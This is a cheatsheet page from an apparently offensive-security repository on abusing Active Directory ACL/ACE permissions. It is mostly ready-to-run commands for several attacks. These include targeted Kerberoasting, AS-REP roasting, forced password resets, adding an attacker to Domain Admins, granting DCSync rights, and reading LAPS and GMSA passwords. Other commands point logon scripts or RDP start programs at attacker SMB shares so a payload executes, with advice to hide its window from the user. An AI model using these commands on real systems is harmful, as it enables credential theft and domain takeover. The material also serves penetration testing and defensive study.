daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

ad-adds-acl-ace.md (15027B)


      1 ---
      2 title: "Active Directory - Access Controls ACL/ACE"
      3 section: "Active Directory"
      4 sectionSlug: "active-directory"
      5 sourcePath: "docs/active-directory/ad-adds-acl-ace.md"
      6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/active-directory/ad-adds-acl-ace.md"
      7 sha: "203bb0c0b290"
      8 isIndex: false
      9 ---
     10 
     11 # Active Directory - Access Controls ACL/ACE
     12 
     13 An **Access Control Entry (ACE)** is a specific permission granted or denied to a user or group for a particular resource, such as a file or directory. Each ACE defines the type of access allowed (e.g., read, write, execute) or denied.
     14 
     15 An **Access Control List (ACL)** is a collection of Access Control Entries (ACEs) associated with a resource.
     16 
     17 * Check ACL for an User with [ADACLScanner](https://github.com/canix1/ADACLScanner).
     18 
     19  ```ps1
     20  ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show
     21  ```
     22 
     23 * Automate ACL exploit [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn):
     24 
     25  ```ps1
     26  ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'
     27  ```
     28 
     29 ## GenericAll/GenericWrite
     30 
     31 ### User/Computer
     32 
     33 We can set a **SPN** on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it.
     34 
     35 * Windows/Linux
     36 
     37   ```ps1
     38   # Check for interesting permissions on accounts:
     39   bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' get writable --otype USER --right WRITE --detail | egrep -i 'distinguishedName|servicePrincipalName'
     40 
     41   # Check if current user has already an SPN setted:
     42   bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' get object <UserName> --attr serviceprincipalname
     43 
     44   # Force set the SPN on the account: Targeted Kerberoasting
     45   bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' set object <UserName> serviceprincipalname -v 'ops/whatever1'
     46 
     47   # Grab the ticket
     48   GetUsersSPNs.py -dc-ip 10.10.10.10 'attack.lab/john.doe:Password123*' -request-user <UserName>
     49 
     50   # Remove the SPN
     51   bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' set object <UserName> serviceprincipalname
     52   ```
     53 
     54 * Windows only
     55 
     56   ```ps1
     57   # Check for interesting permissions on accounts:
     58   Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
     59 
     60   # Check if current user has already an SPN setted:
     61   PowerView2 > Get-DomainUser -Identity <UserName> | select serviceprincipalname
     62 
     63   # Force set the SPN on the account: Targeted Kerberoasting
     64   PowerView2 > Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
     65   PowerView3 > Set-DomainObject -Identity <UserName> -Set @{serviceprincipalname='any/thing'}
     66 
     67   # Grab the ticket
     68   PowerView2 > $User = Get-DomainUser username 
     69   PowerView2 > $User | Get-DomainSPNTicket | fl
     70   PowerView2 > $User | Select serviceprincipalname
     71 
     72   # Remove the SPN
     73   PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname
     74   ```
     75 
     76 We can change a victim's **userAccountControl** to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back.
     77 
     78 * Windows/Linux:
     79 
     80   ```ps1
     81   # Modify the userAccountControl
     82   $ bloodyAD --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] add uac [Target_User] -f DONT_REQ_PREAUTH
     83 
     84   # Grab the ticket
     85   $ GetNPUsers.py DOMAIN/target_user -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
     86 
     87   # Set back the userAccountControl
     88   $ bloodyAD --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] remove uac [Target_User] -f DONT_REQ_PREAUTH
     89   ```
     90 
     91 * Windows only:
     92 
     93   ```ps1
     94   # Modify the userAccountControl
     95   PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
     96   PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
     97 
     98   # Grab the ticket
     99   PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
    100   ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username
    101 
    102   # Set back the userAccountControl
    103   PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
    104   PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
    105   ```
    106 
    107 Reset another user's password.
    108 
    109 * Windows/Linux:
    110 
    111   ```ps1
    112   # Using bloodyAD with pass-the-hash
    113   bloodyAD --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B set password john.doe 'Password123!'
    114   ```
    115 
    116 * Windows only:
    117 
    118   ```ps1
    119   # https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
    120   $user = 'DOMAIN\user1'; 
    121   $pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force; 
    122   $creds = New-Object System.Management.Automation.PSCredential $user, $pass;
    123   $newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force; 
    124   Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
    125   ```
    126 
    127 * Linux only:
    128 
    129   ```ps1
    130   # Using rpcclient from the  Samba software suite
    131   rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" 
    132   ```
    133 
    134 WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script :
    135 
    136 * Windows/Linux:
    137 
    138   ```ps1
    139   bloodyAD --host 10.0.0.5 -d example.lab -u attacker -p 'Password123*' set object delegate scriptpath -v '\\10.0.0.5\totallyLegitScript.bat'
    140   ```
    141 
    142 * Windows only:
    143 
    144   ```ps1
    145   Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.bat"
    146   ```
    147 
    148 ### Group
    149 
    150 This ACE allows us to add ourselves to the Domain Admin group :
    151 
    152 * Windows/Linux:
    153 
    154   ```ps1
    155   bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 add groupMember 'Domain Admins' hacker
    156   ```
    157 
    158 * Windows only:
    159 
    160   ```ps1
    161   net group "domain admins" hacker /add /domain
    162   ```
    163 
    164 * Linux only:
    165 
    166   ```ps1
    167   # Using the Samba software suite
    168   net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP]
    169   ```
    170 
    171 ### GenericWrite and Remote Connection Manager
    172 
    173 > Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.
    174 >
    175 > This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - "ACE to RCE" - @JustinPerdok - July 24, 2020
    176 
    177 :warning: The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.
    178 
    179 * Windows/Linux:
    180 
    181  ```ps1
    182  bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 set object vulnerable_user msTSInitialProgram -v '\\1.2.3.4\share\file.exe'
    183  bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 set object vulnerable_user msTSWorkDirectory -v 'C:\'
    184  ```
    185 
    186 * Windows only:
    187 
    188  ```ps1
    189  $UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
    190  $UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
    191  $UserObject.TerminalServicesWorkDirectory = "C:\"
    192  $UserObject.SetInfo()
    193  ```
    194 
    195 NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.
    196 
    197 ## WriteDACL
    198 
    199 To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights `Replicating Directory Changes/Replicating Directory Changes All`.
    200 
    201 ### WriteDACL on Domain
    202 
    203 * Windows/Linux:
    204 
    205   ```ps1
    206   # Give DCSync right to the principal identity
    207   bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B add dcsync user2
    208   
    209   # Remove right after DCSync
    210   bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B remove dcsync user2
    211   ```
    212 
    213 * Windows only:
    214 
    215   ```ps1
    216   # Give DCSync right to the principal identity
    217   Import-Module .\PowerView.ps1
    218   $SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
    219   $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
    220   Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local 
    221   ```
    222   
    223 ### WriteDACL on Group
    224 
    225 * Windows/Linux:
    226 
    227   ```ps1
    228   bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' add genericAll 'cn=INTERESTING_GROUP,dc=corp' devil_user1
    229   
    230   # Remove right
    231   bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' remove genericAll 'cn=INTERESTING_GROUP,dc=corp' devil_user1
    232   ```
    233 
    234 * Windows only:
    235 
    236   ```ps1
    237   # Using native command
    238   net group "INTERESTING_GROUP" User1 /add /domain
    239   # Or with external tool
    240   PowerSploit> Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1
    241   ```
    242 
    243 ## WriteOwner
    244 
    245 An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they wants.
    246 
    247 * Windows/Linux:
    248 
    249  ```ps1
    250  bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' set owner target_object devil_user1
    251  ```
    252 
    253 * Windows only:
    254 
    255  ```ps1
    256  Powerview> Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'
    257  ```
    258 
    259 This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.
    260 
    261 ## ReadLAPSPassword
    262 
    263 An attacker can read the LAPS password of the computer account this ACE applies to.
    264 
    265 * Windows/Linux:
    266 
    267  ```ps1
    268  bloodyAD -u john.doe -d bloody.lab -p Password512 --host 192.168.10.2 get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
    269  ```
    270 
    271 * Windows only:
    272 
    273  ```ps1
    274  Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
    275  ```
    276 
    277 ## ReadGMSAPassword
    278 
    279 An attacker can read the GMSA password of the account this ACE applies to.
    280 
    281 * Windows/Linux:
    282 
    283  ```ps1
    284  bloodyAD -u john.doe -d bloody -p Password512 --host 192.168.10.2 get object 'gmsaAccount$' --attr msDS-ManagedPassword
    285  ```
    286 
    287 * Windows only:
    288 
    289  ```ps1
    290  # Save the blob to a variable
    291  $gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
    292  $mp = $gmsa.'msDS-ManagedPassword'
    293 
    294  # Decode the data structure using the DSInternals module
    295  ConvertFrom-ADManagedPasswordBlob $mp
    296  ```
    297 
    298 ## ForceChangePassword
    299 
    300 An attacker can change the password of the user this ACE applies to:
    301 
    302 * Windows/Linux:
    303 
    304  ```ps1
    305  # Using bloodyAD with pass-the-hash
    306  bloodyAD --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B set password target_user target_newpwd
    307  ```
    308 
    309 * Windows:
    310 
    311  ```powershell
    312  $NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
    313  Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
    314  ```
    315 
    316 * Linux:
    317 
    318  ```ps1
    319  # Using rpcclient from the  Samba software suite
    320  rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" 
    321  ```
    322 
    323 ## Organizational Units ACL
    324 
    325 Access rights granted on Organizational Units can be exploited to compromise all the objects that are contained in it.
    326 
    327 * [synacktiv/OUned](https://github.com/synacktiv/OUned) - The OUned project automating Active Directory Organizational Units ACL exploitation through gPLink poisoning
    328 
    329 ### Non privileged objects
    330 
    331 A user having the `GenericAll` right (and thus `WriteDACL` permissions) over an OU could add a `FullControl` ACE to the OU and specify that this ACE should be inherited, which will effectively lead to the compromise of all child objects since they will inherit said ACE.
    332 
    333 * Grant `Full Control` on **SERVERS** OU
    334 
    335  ```ps1
    336  dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'username' -target-dn 'OU=SERVERS,DC=lab,DC=local' 'lab.local'/'username':'Password1'
    337  ```
    338 
    339 * Verify that we have `Full Control` ACL on **AD01-SRV1** inside **SERVERS**
    340 
    341  ```ps1
    342  dacledit.py -action 'read' -principal 'username' -target-dn 'CN=AD01-SRV1,OU=SERVERS,DC=lab,DC=local' 'lab.local'/'username':'Password1'
    343  ```
    344 
    345 :warning: ACE inheritance from parent objects is disabled for `adminCount=1`
    346 
    347 ### Privileged objects
    348 
    349 **Requirements**:
    350 
    351 * `GenericWrite` OR `Manage Group Policy` links
    352 * Create a machine account
    353 * Add new DNS records
    354 
    355 **Attack's Flow**: gPLink -> Attacker GPC FQDN -> GPT configuration files in Attacker SMB share -> execute a malicious scheduled task
    356 
    357 * Edit the `gPLink` value to include a GPC FQDN pointing the attacker machine
    358 * Create a fake LDAP server mimicking the real one, but with a custom GPC
    359 * GPC's gPCFileSysPath value is pointing to the attacker SMB share
    360 * The SMB share is serving GPT configuration files including a malicious scheduled task
    361 
    362 **Exploit**:
    363 
    364 Check this [blog post from Synacktiv](https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory) to correctly setup all the requirements for this attack to succeeded.
    365 
    366 ```ps1
    367 sudo python3 OUned.py --config config.ini
    368 sudo python3 OUned.py --config config.example.ini --just-coerce
    369 ```
    370 
    371 ## References
    372 
    373 * [ACE to RCE - @JustinPerdok - July 24, 2020](https://sensepost.com/blog/2020/ace-to-rce/)
    374 * [Access Control Entries (ACEs) - The Hacker Recipes - @_nwodtuhs](https://www.thehacker.recipes/active-directory-domain-services/movement/abusing-aces)
    375 * [Escalating privileges with ACLs in Active Directory - April 26, 2018 - Rindert Kramer and Dirk-jan Mollema](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
    376 * [Training - Attacking and Defending Active Directory Lab - Altered Security](https://www.alteredsecurity.com/adlab)
    377 * [OU having a laugh? - Petros Koutroumpis - 6 November, 2019](https://labs.withsecure.com/publications/ou-having-a-laugh)
    378 * [OUNED.PY: EXPLOITING HIDDEN ORGANIZATIONAL UNITS ACL ATTACK VECTORS IN ACTIVE DIRECTORY - Quentin Roland - 19/04/2024](https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory)